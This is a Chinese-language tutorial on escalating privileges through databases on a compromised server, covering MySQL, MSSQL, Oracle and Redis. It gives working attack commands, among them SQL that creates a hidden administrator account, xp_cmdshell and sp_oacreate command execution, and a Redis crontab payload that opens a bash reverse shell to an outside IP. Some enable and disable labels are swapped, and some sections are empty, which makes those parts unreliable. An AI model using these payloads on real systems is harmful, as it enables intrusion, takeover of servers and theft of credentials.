提权流程:
服务探针—>信息收集(最高权限密码)—>数据库利用(数据库分类利用)
数据库提权前提:
除Access数据库外,其他数据库基本都存在数据库提权的可能,且提权条件如下:
①服务器开启数据库服务
②获取到最高权限用户密码
数据库提权须知:
数据库应用提权在权限提升中的意义:
WEB或本地环境如何探针数据库应用:
①端口扫描
②探测服务(使用命令启动服务来进行探测)
③其他(查看文件目录确认数据库的安装与否、查看一些相关配置文件等)
信息搜集-如何搜集数据库最高权限密码:
各类数据库提权方式:
MySQL(3306):
- 通过查找sql、database、connect、include、config、inc、conn等关键字来获取最高权限用户(root)密码
- 读取数据库存储或备份文件,比如mysql.user表,这个文件里就存储着用户账号密码信息
①UDF(基于MySQL调用命令执行函数):
->首先在数据库执行操作位置(大马)使用select version()
得出mysql数据库版本,用select @@basedir
得出mysql数据库的安装目录
->其次手工创建plugin目录或利用NTFS流创建select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';
->最后需要注意在知道导出目录(即自己创建的/plugin)以后,就要将dll文件进行导出,就导出到plugin目录,这里根据mysql的版本导出目录略有不同mysql<5.1 导出目录:c:/windows或system32
mysql>=5.1 导出安装目录 /lib/plugin/
②MOF(成功率很低):
mof文件是windows的一个特殊文件,系统每隔5秒就会监控系统自己的mof文件并以system权限进行执行。
->首先在利用大马拿下webshell后,在服务器本地创建一个mof文件
->其次利用select语句select load_file('c:/...../自己创建的mof文件') into dumpfile 'c:windows/system32/wbem/mof/nullevt.mog';
,将自己创建的mof文件更换成系统自己的mof文件
->最后静等5s执行即可③启动项(基于配合操作系统自启动):
->导出自定义可执行文件到启动目录配合重启执行
->将创建好的后门或执行文件进行服务器启动项写入,配合重启执行④反弹shell(基于利用反弹特性命令执行):
nc -l -p 9999MSSQL(1433):
MSSQL数据库的最高权限账户是sa账户,它与MySQL的另一不同之处还有sa权限账户默认支持外联。①xp_cmdshell脚本:
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认是关闭的。如果用户拥有sa权限则可以用sp_configure重新开启它。
启用:
关闭:exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
执行:exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure
EXEC master.dbo.xp_cmdshell '命令'
②sp_oacreate脚本:
主要是用来调用OLE对象,利用OLE对象的run方法执行系统命令。
启用:
关闭:EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
执行:EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c 命令 >c:\\output.txt'
③沙盒提权(上面两种行不通时就用这个方式):
``` exec sp_configure ‘show advanced options’,1;reconfigure; exec sp_configure ‘Ad Hoc Distributed Queries’,1;reconfigure; —关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。 exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,0; —查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。 exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’; —执行系统命令 select from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,’select shell(“net user qianxun 123456 /add”)’) select from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:/windows/system32/ias/ias.mdb’,’select shell(“net localgroup administrators qianxun /add”)’)
— 恢复配置 exec master..xp_regwrite ‘HKEY_LOCALMACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1; exec sp_configure ‘Ad Hoc Distributed Queries’,0;reconfigure; exec sp_configure ‘show advanced options’,0;reconfigure;
```
沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序。
Oracle(1521):(直接采用自动化工具)
经常是Java或Jsp开发环境使用Oracle数据库,这里有个特性,jsp网站有后门权限的话不需要提权,自带system。(网站权限即系统权限)
①普通用户模式
②DBA用户模式
③注入提升模式:
拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显,需要自己验证。
Redis(6379):
①利用计划任务执行命令反弹shell(主要使用的):
利用redis未授权漏洞或者密码登陆root权限数据库,在redis以root权限运行时可以写crontab来执行命令反弹shell
set x "\n* * * * * bash -i >& /dev/tcp/192.168.99.121/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
②写ssh-keygen公钥使用私钥登陆
参考链接:https://blog.csdn.net/weixin_45253622/article/details/122115503
利用原理:
- 利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
利用前提条件: